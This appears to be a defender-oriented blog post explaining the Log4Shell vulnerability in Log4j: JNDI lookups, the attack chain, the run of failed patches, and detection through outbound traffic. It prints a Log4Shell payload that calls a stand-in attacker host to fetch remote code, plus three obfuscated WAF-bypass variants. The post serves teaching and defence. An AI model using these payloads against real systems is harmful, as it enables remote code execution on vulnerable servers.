← back to index
CVE-2021-44228 15 APR 2026 · 11 min read

Anatomy of Log4Shell

How a logging library became the internet's worst day.

There is a very specific feeling that hits a defender when their phone buzzes at 11pm on a Friday and the first message is just a URL to an Apache advisory. Log4Shell was that feeling, scaled across every Java shop on the internet, simultaneously.

The day the internet caught fire

Log4j is a logging library. That sentence alone should reveal the horror of what followed: a vulnerability in the part of your application whose entire job is to passively record what happened. If you wrote any Java in the 2010s, you almost certainly used it. It's the kind of dependency that lives three layers down in your build graph and nobody thinks about it — until somebody does.

The vulnerable behavior had been sitting in the codebase since 2013. It took eight years for somebody to really weaponize it, and when they did, the patch cycle that followed lasted months.

What is JNDI, and why was it in your logger?

JNDI — the Java Naming and Directory Interface — is an old API for looking up resources by name. You give it a string like ldap://server/object and it dutifully fetches the object. Including, historically, executable Java classes that it would deserialize and instantiate on your behalf.

In Log4j 2.x, the developers added a feature called lookups. The idea was harmless: let configuration files reference environment variables and system properties using ${...} syntax. Convenient. Useful. And — fatally — the lookup substitution was applied to logged messages themselves, not just configuration.

The exploit in one line

${jndi:ldap://attacker.tld/a}

That's it. Drop that string anywhere a vulnerable application would log it — a User-Agent header, a username field, an HTTP path, a Minecraft chat message — and the logger would helpfully reach out to attacker.tld over LDAP, fetch a serialized Java class, and execute it.

The chain looks like this:

  1. Attacker sends a request containing the payload string.
  2. The application logs the string (almost everything gets logged eventually).
  3. Log4j sees ${jndi:...} and performs the lookup.
  4. JNDI hits attacker-controlled LDAP, which returns a reference to a remote class.
  5. The JVM downloads, deserializes, and instantiates the class.
  6. Constructor body runs. Game over.

Why every patch broke

The first patch — 2.15.0 — restricted JNDI lookups to localhost. Researchers immediately found 2.15.0 still had a denial-of-service path and bypasses that worked through allowed protocols. Then came 2.16.0 (lookups removed entirely from message formatting), which had its own DoS. Then 2.17.0. Then 2.17.1.

Five CVEs, four patches, three weeks. Anyone who shipped the first fix and went home for the holidays came back to a different war.

Detection that actually worked

Most WAF rules looked for the literal string ${jndi:. Attackers responded within hours by exercising every nested-substitution path the lookup engine supported:

${${lower:j}ndi:ldap://x/a}
${${::-j}ndi:ldap://x/a}
${${env:NOPE:-j}ndi:ldap://x/a}

The detections that actually held up watched for outbound LDAP/RMI/DNS traffic from JVMs that had no business making it. The payload could be obfuscated arbitrarily; the resulting network behavior could not.

Lessons that stuck

Log4Shell rewrote how a lot of teams think about transitive dependencies. SBOMs went from a compliance checkbox to something engineers actually consulted. The phrase "dependency you've never heard of" stopped being theoretical. And a generation of Java services finally got around to -Dlog4j2.formatMsgNoLookups=true.

If you take one thing away: the most dangerous code in your stack is the code you forgot you were running.